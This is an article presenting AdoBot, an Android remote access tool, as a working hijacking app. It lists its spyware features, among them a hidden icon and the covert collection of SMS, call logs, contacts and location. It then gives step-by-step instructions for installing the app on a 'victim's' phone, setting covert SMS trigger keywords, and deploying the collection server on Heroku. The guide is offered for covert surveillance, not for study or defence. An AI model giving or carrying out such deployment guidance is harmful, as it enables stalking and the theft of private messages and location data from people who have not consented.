Android Rat - AdoBot a working Android hijacking app with details

There are more than 2 billion Android devices active each month, any of which can be hacked with the use of a remote administration tool, more commonly known as a RAT. This powerful tool, can help outsiders monitor a device's location, see SMS messages, take camera snapshots, and even record with the microphone without the user knowing.

Remote administration tools were first programs intended to provide technical support to remote computers by allowing an administrator to log in and control the device directly. However, hackers

quickly saw the potential of these tools and started using them for more nefarious deeds. Today, advanced RATs are used to remotely access and control a wide variety of devices, but today we'll focus on one of the world's most popular — Android.

Management Console Screen Shots

Main GUI :

(   Adobot Main GUI   )

Location Tab :

Main SMS Tab :

Single SMS Thread View :

(SMS thread is a pop up modal )

Call Logs Tab :

Contacts Tab :

Pending Commands Tab :

When you send a command to an offline device, the command is stored in the datase and will be executed once the device connects online.

Update APK :

Notifications :

Android Rat Features

1. Realtime command execution
2. Schedule commands
3. Hidden app icon (stealth mode)
4. Fetch SMS in
5. Fetch call logs
6. Fetch contacts
7. Send SMS command
8. Forward received/sent SMS
9. Monitor location
10. Update apk remotely
11. Data collected are retained in database
12. Realtime notifications about device status
13. Transfer bot reporting to another server
14. For android 6 and above:

                    You can view the permissions of the app

The app asks for permission when a certain command is sent the there is no permission

Need help/Todo using AdoBot

access files

take photo stealthly

get browser history

and more...

Instructions :

Download Source code of AdoBot 

• Zip File 

• tar.gz File 

Just compile (as signed APK) and install the app to the victim's android device. Then Start the App and configure the parameters:

Server URL:-->  Set the URL of your AdoBot-IO server. It must include the protocol i.e. 

               https://adobot.herokuapp.com (default).

(AdoBot-IO server setup below)

SMS Open Command:-->  Send an SMS to any number containing this text to open the Adobot settings. "Open adobot" (default).

Force Command:-->  Send an SMS containing this text to the victim's phone to forcefully sync data to server. "Baby?" (default).

AdoBot-IO AdoBot NodeJS Server with socket.io

AdoBot Android Spyware Server Setup :

Download Source code of AdoBot-IO

Create app on Heroku

• Sign up to Heroku
• Create a new app (Click the New button in the top right of the dashboard)
• Name your app to whatever you want. Let's name it your-app for example purposes

Setup Mysql Server

• Go to "Resources" tab
• In the "Addons" section, type "ClearDB" and select the first suggestion
• Click Provision when prompted

Configure the app

• Go to the settings tab of your new heroku app
• Click Reveal Config Vars button
• Copy the VALUE of CLEARDB_DATABASE_URL KEY
• Create a new KEY named DATABASE_URL and the paste into the VALUE field the value from CLEARDB_DATABASE_URL. Click ADD to save.
• Create a new KEY named ADMIN_USERNAME and the VALUE will be your desired username used to login into the panel later. Then click ADD button
• Create a new KEY named ADMIN_PASSWORD and the VALUE will be your desired password used to login into the panel later. Then click ADD button

Upload the source to Heroku

• Download and install Heroku CLI as outlined here
• If you don't have git command line tool, you might as well install it
• After installation of Heroku CLI, open command line and type:

$ heroku login

Enter your Heroku login email and password

• Go back to Heroku "Settings" tab
• Find the "Info" section and copy the Heroku Git URL field. It looks like https://git.heroku.com/your-app.git
• Download this repository (AdoBot-IO) and extract the contents of the zip file
• Then cd into the the extracted directory. ex cd ~/Downloads/AdoBot-IO

Then enter the commands below (Remember to change your-app to the name of your app)

• $ git init
• $ git remote add heroku https://git.heroku.com/your-app.git
• $ git add .
• $ git commit -am "initial commit"
• $ git push heroku master
• $ heroku open

That's it, your done! Now set up the AdoBot android client if you haven't done it yet.

Development

System Requirements:

• NodeJS
• MySql

Setup:

Edit ./config/config.json to your preferences. In the development section, change the username, password and name of the database.

The admin section refers to the admin panel login credentials in development environment.

To set the admin panel username and password in production, set the environment variables ADMIN_USERNAME and ADMIN_PASSWORD.

Install dependencies:

$ npm install

Populate the database:

$ ./node_modules/.bin/sequelize db:migrate

Run local server

$ npm run dev

Browse to http://127.0.0.1:3000

For further help go to :---> 

• AdoBot

• AdoBot-IO